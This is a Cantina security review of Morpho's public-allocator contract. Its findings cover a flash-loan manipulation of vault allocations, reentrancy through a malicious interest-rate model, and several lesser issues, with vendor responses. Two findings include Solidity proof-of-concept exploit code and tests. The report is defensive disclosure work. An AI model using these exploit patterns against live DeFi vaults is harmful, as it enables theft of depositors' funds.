CANTINA

Morpho - `public-allocator`

Security Review

Cantina Managed review by:

Emanuele Ricci, Lead Security Researcher

Jonah1005, Lead Security Researcher

March 11, 2024

Contents

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

Cantina Managed provides a detailed evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While Cantina Managed endeavors to identify and disclose all potential security issues, it cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities that were absent during the initial review. Therefore, any changes made to the code require a new security review to ensure that the code remains secure. Please be advised that the Cantina Managed security review is not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity	Description
Critical	*Must* fix as soon as possible (if already deployed).
High	Leads to a loss of a significant portion (>10%) of assets in the protocol, or significant harm to a majority of users.
Medium	Global losses <10% or losses to only a subset of users, but still unacceptable.
Low	Losses will be annoying but bearable. Applies to things like griefing attacks that can be easily repaired or even gas inefficiencies.
Gas Optimization	Suggestions around gas saving practices.
Informational	Suggestions around best practices or readability.

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above table. Critical findings have a high likelihood of being exploited and must be addressed immediately. High findings are almost certain to occur, easy to perform, or not easy but highly incentivized thus must be fixed as soon as possible.

Medium findings are conditionally possible or incentivized but are still relatively likely to occur and should be addressed. Low findings a rare combination of circumstances to exploit, or offer little to no incentive to exploit but are recommended to be addressed.

Lastly, some findings might represent objective improvements that should be addressed but do not impact the project's overall security (Gas and Informational findings).

2 Security Review Summary

Morpho is a lending pool optimizer. It improves the capital efficiency of positions on existing lending pools by seamlessly matching users peer-to-peer.

Morpho's rates stay between the supply rate and the borrow rate of the pool, reducing the interests paid by the borrowers while increasing the interests earned by the suppliers. It means that you are getting boosted peer-to-peer rates or, in the worst case scenario, the APY of the pool. Morpho also preserves the same experience, liquidity and parameters (collateral factors, oracles, ...) as the underlying pool.

From Feb 19th to Feb 23rd the Cantina team conducted a review of public-allocator on commit hash 1cdcee8d. The team identified a total of **12** issues in the following risk categories:

- Critical Risk: 0
- High Risk: 0
- Medium Risk: 1
- Low Risk: 4
- Gas Optimizations: 0
- Informational: 7

3 Findings

3.1 Medium Risk

3.1.1 Funds can be redirected to the idle market by reaching the MetaMorpho supply cap using a flash loan

Severity: Medium Risk

Context: PublicAllocator.sol#L128-L131

Description: The public allocator allows the users to move the funds in the MM permissionless. However, to prevent undesired states in the MM portfolio, `FlowCaps` are configured, placing limitations on users' capabilities. One feature of the `publicAllocator` is to permit users to revert to flow caps in case the portfolio management is suboptimal.

Reversing the `publicAllocator` action does not equate to reversing MM portfolio management, as the portfolios of MM may undergo changes between two `publicAllocator` actions. Consider the following configuration of MM and the public allocator: in the ETH MM vault, there are two markets in the supply queue: stEth and the idle market. The withdrawal queue consists of three markets: the idle market, stEth market, and the rEth market. The allocator is configured to encourage funds to be transferred out from the idle market.

supplyQueue index	**market**	**current assets**	**Cap**
0	stETH market	1,000,000	5,000,000
1	idle market	0	(unlimited)
withdrawalQueue index	**market**	**current assets**	**Cap**
0	idle market	0	(unlimited)
1	stETH market	1,000,000	5,000,000
2	rETH market	1,000,000	5,000,000
publicAllocator	**market**	**maxIn**	**maxOut**
0	idle market	0	10,000,000
1	stETH market	1,000,000	0
2	rETH market	1,000,000	0

The malicious users can move funds into the idle market and place the MM in an undesired state with the following steps:

1. Flashloan and calls `metaMorph.deposit` with 5,000,000 assets. This fills up the first market (stETH market) and an extra 1,000,000 goes to the idle market. The users get 5,000,000 worth of MM shares in this step.

- **States:**

supplyQueue index	**market**	**current assets**	**Cap**
0	stETH market	5,000,000	5,000,000
1	idle market	1,000,000	(unlimited)
withdrawalQueue index	**market**	**current assets**	**Cap**
0	idle market	1,000,000	(unlimited)
1	stETH market	5,000,000	5,000,000
2	rETH market	1,000,000	5,000,000
publicAllocator	**market**	**maxIn**	**maxOut**
0	idle market	0	10,000,000

1	stETH market	1,000,000	0
2	rETH market	1,000,000	0

2. Let `PublicAllocator` withdraw assets from the idle market by calling `publicAllocator.reallocateTo`, with the the idle market as the only withdrawal and the rETH market as the supplying market:

- **States:**

supplyQueue index	**market**	**current assets**	**Cap**
0	stETH market	5,000,000	5,000,000
1	idle market	0	(unlimited)
withdrawalQueue index	**market**	**current assets**	**Cap**
0	idle market	0	(unlimited)
1	stETH market	5,000,000	5,000,000
2	rETH market	2,000,000	5,000,000
publicAllocator	**market**	**maxIn**	**maxOut**
0	idle market	1,000,000	9,000,000
1	stETH market	1,000,000	0
2	rETH market	0	1,000,000

3. Withdraw all the MM shares that the exploiter got in the first step. The MM would try to pull 5,000,000 worth of assets. Since there are no assets in the idle markets, MM pulls assets from the second markets in the withdrawal queue. MM pulls 5,000,000 asses from the stETH market.

- **States:**

supplyQueue index	**market**	**current assets**	**Cap**
0	stETH market	0	5,000,000
1	idle market	0	(unlimited)
withdrawalQueue index	**market**	**current assets**	**Cap**
0	idle market	0	(unlimited)
1	stETH market	0	5,000,000
2	rETH market	2,000,000	5,000,000
publicAllocator	**market**	**maxIn**	**maxOut**
0	idle market	1,000,000	9,000,000
1	stETH market	1,000,000	0
2	rETH market	0	1,000,000

4. Let `publicAllocator` reverse the previous cap flow and move funds out of the idle market.

- **States:**

supplyQueue index	**market**	**current assets**	**Cap**
0	stETH market	0	5,000,000
1	idle market	1,000,000	(unlimited)

withdrawalQueue index	market	current assets	Cap
0	idle market	0	(unlimited)
1	stETH market	0	5,000,000
2	rETH market	1,000,000	5,000,000

publicAllocator	market	maxIn	maxOut
0	idle market	0	10,000,000
1	stETH market	1,000,000	0
2	rETH market	0	1,000,000

In the above example, the `flowCaps` remain the same after funds are moved to the idle market. Thus, the exploit still works even with a lower non-zero `flowCaps` limit. For instance, assume the `maxOut` of the idle market is 500,000, the exploit steps would be:

1. Deposit 4,500,000 in the first step, letting MM deposit 500,000 into the idle market.
2. Have the public allocator move 500,000 from the idle market to the rEth market.
3. Withdraw all shares from MM. At this point, 500,000 assets still exist in the stETH market.
4. Reverse the cap flow and move funds from rETH to the idle market.
5. Repeat steps 1 to 4.

Recommendation: Reallocating funds in the vault has been an open question in DeFi with no optimal solution. The design of MetaMorpho is innovative as it functions both as a lending protocol and a yield-bearing vault. However, this dual role complicates the portfolio management of MetaMorpho compared to a standard yield-bearing vault. In a MetaMorpho vault, the portfolio typically owns the majority of the shares of the underlying markets. Therefore, portfolio management requires extra caution due to its heightened sensitivity.

I recommend imposing more constraints on the publicAllocator, and here are some potential paths:

1. Avoid allowing the reverse of cap flow. Do not increase maxIn when the publicAllocator withdraws from one market, and do not increase maxOut when the publicAllocator supplies to one market.
2. Set maxIn and maxOut of most markets to 0. For example, in the ETH market, we can mitigate the exploit by setting the maxIn of the rEth market to 0.
3. Consider charging a higher fee. It's important to note that the exploit can still be profitable even with fees turned on. To nullify the attack vector, fees should be charged in proportion to the funds being moved.

Each of the above solutions comes with trade-offs, and there is no easy solution. I recommend paying close attention to new implementations.

Morpho: Acknowledged. It looks more like griefing than an attack and so the fee should help.

Cantina Managed: Acknowledged. We should also take care of the underlying market. MM owner should be careful if the vault owns the majority shares of any underlying market.

3.2 Low Risk

3.2.1 `reallocateTo` function does not check for slippage, leading to dust loss due to rounding error

Severity: Low Risk

Context: PublicAllocator.sol#L128-L131

Description: When the `MetaMorpho.reallcoate` function redistributes the portfolio, it calls `Morpho.supply`. In the supply function, rounding is handled in favor of the protocol. As a result, every time the `MetaMorpho.reallocate` is called, the vault might loss a value.

`PublicAllocator` allows any user to trigger the reallocation of the MM vault. In extreme cases, exploiters can let the MM vault lose non-negligible value.

Recommendation: The morpho-blue codebase manages vault shares using the open-zeppelin SharesMathLib. Rounding errors are typically avoidable under normal usage. However, if an anomalous market with an extremely high share price is configured, there is a potential risk of draining the MM vault. Therefore, it is recommended to verify that the `totalAssets` of the vault remain unchanged after the reallocation process (see PublicAllocator.sol#L145 below):

```
+ uint previousVaultTotalAssets =  IMetaMorpho(vault).totalAssets();
  IMetaMorpho(vault).reallocate(allocations);
+ require(IMetaMorpho(vault).totalAssets() == previousVaultTotalAssets, "slippage");
```

Morpho: Acknowledged. Are the conditions where the rounding matters realistic? This added check would force all client code to add logic that adjusts amounts so that there are no rounding errors.

Cantina Managed: Acknowledged. We expect rounding error by 1 decimal "*matters*" in the near future as token price going up and transaction cost going down. Currently, one SATS = 0.00063 USD. A normal transaction on Gnosis chain cost less than this.

Also, it would be harder to properly bootstrapped a low-decimal token. e.g. STASIS EURS Token (EURS) is a 2 decimal token.

I'm leaning to add this check if `reallocateTo` is not expected to be called frequently.

3.2.2 `reallocateTo` should perform more sanity checks on the input parameters and vault's configuration

Severity: Low Risk

Context: PublicAllocator.sol#L102-L148

Description: The current implementation of `reallocateTo` should revert if the function's input parameters "*do not make sense*" or if they are incompatible with the current configuration and state of the MetaMorpho vault's that will execute the `reallocate` flow.

Some of these checks will be done automatically by the `reallocate` function, but we suggest replicating them also in `reallocateTo` to prevent any external caller to reaching the `MetaMoorpho` vault when the constructed `allocations` won't contribute to a valid or meaningful execution of the logic.

These checks will improve the overall security of the vault but will also prevent the user from losing money (the fee itself) when the result of `reallocate` is a no-op (no withdrawal and no supply have happened).

Here are the list of additional checks that should be implemented by `reallocateTo`:

1) `withdrawals.length > 0`: If there are no withdrawals from any market, it means that there will won't be any supply. `vault.reallocate` won't revert, but `EventsLib.PublicReallocateTo` will be emitted, and the caller will waste their `msg.value` for nothing.

2) `withdrawnAssets > 0`: Having only a non-withdrawal won't automatically bring to the scenario described in point (1) but it's fair to say that it's a meaningless operation that should be prevented. If this is the only withdrawal operation, it will lead to the same consequences of point (1).

3) `totalWithdrawn > 0`: Same consequences of point (1).

4) `IMetaMorpho(vault).config(id).enabled == true`: The market from which the vault is going to withdraw assets from must have been enabled (added to the withdrawal queue).

5) Given `marketCap = IMetaMorpho(vault).config(supplyMarketParams.id()).cap` and `currentMarketSuppliedAssets = amount_of_assets_already_supplied_to_supplyMarketParams`, `marketCap > 0 && currentMarketSuppliedAssets + totalWithdrawn <= marketCap`,

Recommendation: Morpho should implement the above suggested checks to allow the execution of `vault.reallocate(...)` only if the `reallocateTo` input parameters values are valid and compatible with the state and configuration of the vaults for the markets involved in the supply and withdraw operations.

Morpho: Addressed in PR 28.

Cantina Managed: Part of the recommendations have been implemented in PR 28. The `reallocateTo` function will revert when:

- The supply market is not enabled.
- The withdraw market is not enabled.
- The user has specified an empty array of markets to withdraw from.
- The user tries to withdraw an empty amount of assets from a market.

3.2.3 `PublicAllocator.reallocateTo` does not revert when an unauthorized market is provided, creating a potential re-entrancy attack vector

Severity: Low Risk

Context: PublicAllocator.sol#L102-L149

Description: To solve the liquidity fragmentation on `MetaMorpho`, the `publicAllocator` allows anyone to move the funds within the pre-configured limit. These limit was checked in the `reallocateTo` function, to avoid the fund being moved to an authorized market and put the `MetaMorpho` at an undesired state.

In the `reallocateTo` function, a special case arises when `withdrawnAssets == 0`. In this scenario, the function allows processing any market as long as no funds are withdrawn or supplied to/from the market. However, this introduces a potential attack vector. Similar to issue "`Allocator` can drain the `MetaMorpho` vault if a future `IRM` queries token balance", the`publicAllocator` calls `morpho.accrueInterests` in the loop, potentially exposing the control flow to malicious users.

Currently, the`AdaptiveCurveIrm` is the only enabled IRM , which wouldn't give users control flow and thus prevent the potential attacks. However, let's consider two hypothetical scenarios:

1. A new IRM is deployed that queries token balances to calculate interest. (This is a reasonable setting, as a lot of IRM actually depends on token's balance.
2. Morpho-blue allows users to permissionlessly deploy their own IRMs.

In both cases, a malicious user can gain control within the `reallocateTo` function, suggesting a potential issue with the validation in the function. `publicAllocator` determines the end allocation amount based on `MORPHO.expectedSupplyAssets;` and withdrawal amount. If `expectedSupplyAssets` changes after the value is cached, it can lead to different actual allocations. Consequently, `publicAllocator` may distribute more funds than the limit specified by `flowCaps`.

Proof of Concept:

```
contract IrmMock is IIrm {

    uint256 public apr;
    address public vault;
    uint public depositAmount;
    address public loanToken;
    function setApr(uint256 newApr) external {
        apr = newApr;
    }

    function borrowRateView(MarketParams memory, Market memory) public view returns (uint256) {
        return apr / 365 days;
    }

    function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256) {

        if(depositAmount != 0) {
            IMetaMorpho vault = IMetaMorpho(vault);
            IERC20(loanToken).approve(address(vault), depositAmount);
            vault.deposit(depositAmount, address(this));
        }

        return borrowRateView(marketParams, market);
    }

    function setMMAddress(address _mm ) external {
        vault = _mm;
    }

    function setDepositAmount(uint256 amount) external {
        depositAmount = amount;
    }

    function setLoanToken(address _loanToken) external {
        loanToken = _loanToken;
    }
}


function createFakeMarket() internal returns(MarketParams memory){
    // create mock IRM
    IrmMock irm = new IrmMock();
    irm.setApr(1e18);
    // enable irm on morpho
    vm.prank(MORPHO_OWNER);
    morpho.enableIrm(address(irm));
    // create market
    MarketParams memory marketParams = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(loanToken),
        oracle: address(0),
        irm: address(irm),
        lltv: 0
    });
    morpho.createMarket(marketParams);
    return marketParams;
}
```

```
function testReentrancyAttackFromPublicAllocator() public {
    _setCap(allMarkets[0], type(uint184).max);
    MarketAllocation[] memory allocations = new MarketAllocation[](3);
    allocations[0] = MarketAllocation(idleParams, 0);
    allocations[1] = MarketAllocation(allMarkets[0], INITIAL_DEPOSIT);
    allocations[2] = MarketAllocation(allMarkets[1], 0);
    vm.prank(ALLOCATOR);
    vault.reallocate(allocations);

    Id firstMarket = allMarkets[0].id();
    MarketParams  memory fakeParam;
    for(uint i = 0; i < 255; i++) {
        fakeParam = createFakeMarket();
        if(Id.unwrap(fakeParam.id()) > Id.unwrap(firstMarket)) {
            break;
        }
    }
    IrmMock irm = IrmMock(fakeParam.irm);
    irm.setDepositAmount(totalAssets);
    irm.setLoanToken(address(loanToken));
    irm.setMMAddress(address(vault));
    deal(address(loanToken), address(irm), totalAssets);
    vm.warp(block.timestamp + 1 days);



    withdrawals.push(Withdrawal(allMarkets[0], 0));
    withdrawals.push(Withdrawal(fakeParam, 0));

    totalAssets = vault.totalAssets();
    totalShares = vault.totalSupply();
    uint previousIdleAssets = IMorpho(morpho).expectedSupplyAssets(idleParams, address(vault));
    // currentPrice is less than previousPrice
    publicAllocator.reallocateTo(address(vault), withdrawals, idleParams);
    uint currentIdleAssets = IMorpho(morpho).expectedSupplyAssets(idleParams, address(vault));
    // console2.log("previousIdleAssets: ", previousIdleAssets);
    // console2.log("currentIdleAssets: ", currentIdleAssets);
    // Logs:
    //   previousIdleAssets:  0
    //   currentIdleAssets:  40000000000000000000
    //
    assertLt(previousIdleAssets, currentIdleAssets);
}
```

Recommendation: Recommend adding more sanity checks in `reallocateTo`, following the recommendations in the issue "`reallocateTo` should perform more sanity checks on the input parameters and vault's configuration".

Morpho: Addressed in PR 28.

Cantina Managed: The recommendation has been implemented in PR 28. Now it's not possible to withdraw from or supply to a non-enabled market.

3.2.4 `Allocator` can drain the `MetaMorpho` vault if a future `IRM` queries token balance

Severity: Low Risk

Context: MetaMorpho.sol#L368-L417

Description: The `Allocator` role in the `MetaMorpho` vault is responsible for distributing the portfolio and managing the risks of the vault. The `Allocator` can not supply the assets to an unauthorized market (market with `supplyCap == 0`). Thus, in the scenario where the allocator's key is breached, the vault should have limited damage.

The issue lies at MetaMorpho.sol#L399:

```
if (suppliedAssets == 0) continue;
```

When an unauthorized market with `suppliedAsset == 0` is provided in `reallocate`, the function just skips instead of reverting. This creates an attack vector. Since `MetaMorpho` calls `morpho.accrueInterest` in the loop, the malicious allocator could potentially get the control flow within `reallocate` function.

Currently, only `AdaptiveCurveIrm` can be used, which wouldn't give users control flow and thus prevent the potential attacks. However, let's consider two hypothetical scenarios:

1. A new IRM is deployed that queries token balances to calculate interest. (This is a reasonable setting, as a lot of IRM actually depends on token's balance.
2. Morpho-blue allows users to permissionlessly deploy their own IRMs.

Given this assumption, the malicious allocator can do the following:

1. Deploy a fake market with a malicious callback function.
2. Triggers `reallocate` with three `Allocations`. The first and the third `Allocation` are enabled markets but in the second `Allocation`, the fake market is provided.
3. `MetaMorpho` processes each allocation:
    1. The first Withdrawal is a correct one and the vault pulls tokens from the first market.
    2. The second market is malicious. The attacker get the control flow through the IRM.
    3. In the malicious callback, the exploiter deposit to MetaMorpho. Since the tokens had been pulled in previous step, the vault's price is lower. The exploiter gets vault's shares at a low price.
4. Withdraw from the metaMorpho and get the profit.

Proof of Concept: To simplify the Proof of Concept, we assume that `morpho` allows any IRM to be used.

```
contract IrmMock is IIrm {

    uint256 public apr;
    address public vault;
    uint public depositAmount;
    address public loanToken;
    function setApr(uint256 newApr) external {
        apr = newApr;
    }

    function borrowRateView(MarketParams memory, Market memory) public view returns (uint256) {
        return apr / 365 days;
    }

    function borrowRate(MarketParams memory marketParams, Market memory market) external returns (uint256) {

        if(depositAmount != 0) {
            IMetaMorpho vault = IMetaMorpho(vault);
            IERC20(loanToken).approve(address(vault), depositAmount);
            vault.deposit(depositAmount, address(this));
        }

        return borrowRateView(marketParams, market);
    }

    function setMMAddress(address _mm ) external {
        vault = _mm;
    }

    function setDepositAmount(uint256 amount) external {
        depositAmount = amount;
    }

    function setLoanToken(address _loanToken) external {
        loanToken = _loanToken;
    }
}


function createFakeMarket() internal returns(MarketParams memory){
    // create mock IRM
    IrmMock irm = new IrmMock();
    irm.setApr(1e18);
    // enable irm on morpho
    vm.prank(MORPHO_OWNER);
    morpho.enableIrm(address(irm));
    // create market
    MarketParams memory marketParams = MarketParams({
        loanToken: address(loanToken),
        collateralToken: address(loanToken),
        oracle: address(0),
        irm: address(irm),
        lltv: 0
    });
    morpho.createMarket(marketParams);
    return marketParams;
}
```

```
function testReentrancyAttackFromAllocator() public {
    uint totalAssets = vault.totalAssets();
    uint totalShares = vault.totalSupply();
    uint previousPrice = vault.convertToAssets(1e18);


    MarketAllocation[] memory allocations = new MarketAllocation[](3);
    allocations[0] = MarketAllocation(idleParams, INITIAL_DEPOSIT);
    allocations[1] = MarketAllocation(allMarkets[0], 0);
    allocations[2] = MarketAllocation(allMarkets[1], 0);
    vm.prank(ALLOCATOR);
    vault.reallocate(allocations);

    MarketParams  memory fakeParam = createFakeMarket();
    IrmMock irm = IrmMock(fakeParam.irm);
    irm.setDepositAmount(totalAssets);
    irm.setLoanToken(address(loanToken));
    irm.setMMAddress(address(vault));
    deal(address(loanToken), address(irm), totalAssets);
    vm.warp(block.timestamp + 1 days);

    vm.prank(OWNER);
    _setCap(allMarkets[1], type(uint184).max);
    allocations[0] = MarketAllocation(idleParams, 1 ether);
    allocations[1] = MarketAllocation(fakeParam, 0);
    allocations[2] = MarketAllocation(allMarkets[1], type(uint).max);

    vm.prank(ALLOCATOR);
    vault.reallocate(allocations);

    totalAssets = vault.totalAssets();
    totalShares = vault.totalSupply();
    uint currentPrice = vault.convertToAssets(1e18);
    // currentPrice is less than previousPrice
    assertLt(currentPrice, previousPrice);
}
```

Recommendation: The issue outlined a potential attack vector that requires several conditions to be met. Eliminating one of the prerequisites can prevent this attack:

1. Revert the `reallocate` function when an unauthorized market is provided.
2. Be aware of the IRM implementation, querying external contracts in the IRM comes with additional risks. Make sure to revisit the entire morpho-blue code base when a new IRM is deployed and enabled.

Morpho: This issue is actually in `MetaMorpho`, which is already in prod, and it has no impact as long as IRMs doesn't re-enter vaults. So we acknowledge it and will make sure that it will never be the case in the future.

Cantina Managed: Acknowledged.

3.3 Informational

3.3.1 Vault's flow caps should be constrained by the vault's state and configuration

Severity: Informational

Context: PublicAllocator.sol#L79-L89

Description: The current implementation of `PublicAllocator.setFlowCaps` allows the caller to update the `reallocateTo` flow caps of a vault for specific markets. The only check that is currently performed is about the `maxIn` and `maxOut` value of the flow that must be below a constant `MAX_SETTABLE_FLOW_CAP` max value.

Morpho should perform additional checks to avoid undesired or unintended behaviors:

- If the market is not enabled in the vault (`enabled == false`) the manager should only be able to set `maxIn` and `maxOut` to zero.
- If the market is enabled, the manager should be able to set the `maxIn` flow to a value that is less or equal to the vault's market `cap`.

Recommendation: Morpho should implement the additional checks listed above.

Morpho: Addressed in PR 31. We could imagine that this can be integrated into a wanted behavior. For example: supply cap of market A is 2M, but maxIn is 4M. The vault manager reallocates from time to time out of market A, but does not want to liquidity to be pulled more that 4M from other markets. So that 4M cap is not about market A but more about other markets.

> if the market is not enabled in the vault (enabled == false) the manager should only be able to set maxIn and maxOut to zero

I'm potentially in favor of this one, as it doesn't make sense to set non zero cap for a non enabled market. And can potentially prevent mistakes (setting caps for a wrong market). But at the same time it complexifies the code and spec for not that much...

> if the market is enabled, the manager should be able to set the maxIn flow to a value that is less or equal to the vault's market cap

I don't think that we should do this. It's not preventing anything clear, and even it can be a feature.

Cantina Managed: Part of the recommendations have been implemented in PR 31. Now, cap flows can be set to a non-zero value only for enabled markets.

Morpho team has correctly justified that there are use case to allow vault admins to set flow caps above the market supply cap (on the `MetaMorpho` contract).

3.3.2 `PublicReallocateTo` event is emitted with the wrong parameters order

Severity: Informational

Context: PublicAllocator.sol#L147

Description: At the very end of the `reallocateTo` logic, the event `PublicReallocateTo` is emitted like this:

```
emit EventsLib.PublicReallocateTo(msg.sender, vault, supplyMarketId, totalWithdrawn);
```

But such an event is declared with a different parameter order in the corresponding `EventsLib` library:

```
/// @notice Emitted at the end of a public reallocation.
event PublicReallocateTo(address indexed vault, address sender, Id supplyMarketId, uint256 suppliedAssets);
```

Given such declaration, the `reallocateTo` is passing in the wrong order the `msg.sender` and `vault` parameter to the `PublicReallocateTo` event.

Recommendation: Morpho should follow one of these choices:

- Change the order of the event parameters in the `event PublicReallocateTo` declaration.
- Change the order of the event parameters in the `emit EventsLib.PublicReallocateTo` emission.

Morpho: Addressed in PR 29.

Cantina Managed: The recommendations have been implemented in PR 29.

3.3.3 More event parameters can be declared as `indexed`

Severity: Informational

Context: EventsLib.sol#L15, EventsLib.sol#L18

Description: Some of the event parameters could benefit from being declared as `indexed`

- `address sender` in `PublicReallocateTo` can be declared as `indexed`.
- `address owner` in `SetOwner` can be declared as `indexed`.

Recommendation: Consider declaring the suggested event parameters as `indexed`.

Morpho: Addressed in PR 29.

Cantina Managed: The recommendations have been implemented in PR 29.

3.3.4 Consider tracking the `msg.sender` in the event emitted by the `PublicAllocator` contract

Severity: Informational

Context: EventsLib.sol

Description: Like it has been already done in other projects of the Morpho's ecosystem, the events emitted by the execution of the `PublicAllocator` should track the `msg.sender`. This information can be useful for external dApps and monitoring tools.

Recommendation: Morpho should consider tracking the `msg.sender` in the event emitted by the `PublicAllocator` contract.

Morpho: Addressed in PR 29.

Cantina Managed: The recommendations have been implemented in PR 29.

3.3.5 NatSpec documentation issues: missed parameters, typos or suggested updates

Severity: Informational

Context: IPublicAllocator.sol#L12-L14, IPublicAllocator.sol#L23-L26, IPublicAllocator.sol#L56

Description: Various NatSpec documentation issues were found, that include missing parameters, typos or that allow for general suggestions for improval:

- IPublicAllocator.sol#L12-L14: Replace the `170141183460469231731687303715884105727` magic number used to initialize `MAX_SETTABLE_FLOW_CAP` with `type(uint128).max/2`. It's easier to read and understand, and you don't need to verify it. `170141183460469231731687303715884105727` can still be used as part of the NatSpec documentation.
- IPublicAllocator.sol#L23-L26: Add NatSpec documentation to the `FlowCapsConfig` struct and its attributes.
- IPublicAllocator.sol#L56: Remove the term `caps` from the NatSpec documentation (it's a reference to outdated code not used anymore).

Recommendation: Morpho should consider fixing all the listed points to provide a better NatSpec documentation.

Morpho: Addressed in PR 29.

Cantina Managed: The recommendations have been implemented in PR 29.

3.3.6 Consider renaming allocator config variables and functions to be more vault specific

Severity: Informational

Context: PublicAllocator.sol#L39-L46, PublicAllocator.sol#L65-L97, PublicAllocator.sol#L51-L54

Description: The `PublicAllocator` contract contains state variables and function to modify those variables that are related to vault's specific configurations in the `PublicAllocator` context.

The name of those variables and functions currently are very general purpose and create confusion. For example, we have the `mapping(address => address) public owner;` state variable that is used to check whether the `msg.sender` can access to functions that modify the public allocator config for a specific vault.

At first sight, instead, the name of the variable seems to represent the owner of the `PublicAllocator` or the name of the vault itself if we dig into the code and see that the variable is a `mapping`.

To reduce the confusion, both the names of the variables, functions and modifiers should be renamed to something more meaningful and less confusing. Here are some examples:

- `owner` → `vaultConfigManager`
- `fee` → `vaultReallocateFee`
- `accruedFee` → `vaultAccruedFee`
- `flowCaps` → `vaultFlowCaps`
- `onlyOwner` → `onlyVaultConfigManager`
- ...

Recommendation: To enhance clarity, Morpho should consider renaming both the names of the variables, functions and modifiers to something more meaningful and less confusing.

***Note:** the same modification/adaptations should also be applied to the NatSpec documentation and interface.*

Morpho: Addressed in PR 30. We decided to only change the name of `owner` to `admin` because:

- We usually don't precise that a value is a mapping ("config" in Metamorpho, "position" in Morpho Blue, "approval" in ERC20s ("balanceOf" is a counter example ^^)).
- We usually don't worry for the naming clashes with other contracts. Like between the "fee" in Metamorpho and the "fee" in Morpho Blue.
- The name `owner` was misleading, because usually there is only one owner for a given contract and it has the full power on the only owner functions (and it's very classic).

Cantina Managed: Morpho has decided to pursue only the renaming of the `owner` term in PR 30. The remaining recommendations have been acknowledged by Morpho.

3.3.7 Consider adding a `pausable` feature to `reallocateTo` is triggerable only by one of Morpho's guardians

Severity: Informational

Context: PublicAllocator.sol#L101-L148

Description: The `PublicAllocator` is a contract that will be deployed only once for all the current and future MetaMorpho Vaults, instead of being deployed "on demand" by each MetaMorpho Vaults. Having a "central hub" for each of the vaults has many benefits and allows the Morpho team to build additional security layers that can be applied automatically to all the vaults.

One of these security mechanisms could be a `paused` flags that can be turned on/off by a Guardian in the case where an issue is found in `reallocateTo` (or in the contract in general) or in the `reallocate` implementation of the MetaMorpho vault contract. While the `MetaMorpho.realloate` is usually an authed function, once `PublicAllocator` is configured and enabled, it allows anyone to execute `MetaMorpho.realloate` (with specific bounds).

If a security issue is found, all the MetaMorpho vaults would need to perform one of these two actions:

- Reconfigure the `PublicAllocator` for all the vault's market to disable any inflow and outflow.

- Remove the `PublicAllocator` from `allocator` or `curator` role (depending on how it has been configured) of the vault.

In these situations, time is crucial and not all the vault managers have the same response time. Having a `pause` security flag that locks the access to `reallocateTo` could mitigate this problem.

Recommendation: Morpho should consider adding a `pause` functionality to lock the access to `reallocateTo` in case of emergency.

Morpho: We acknowledge this issue. None of the contracts of Morpho Blue's periphery features this. Here the contract is a bit different (different role, and no real criticality in the liveness), but still, we don't think that it has its place.

Cantina Managed: Acknowledged.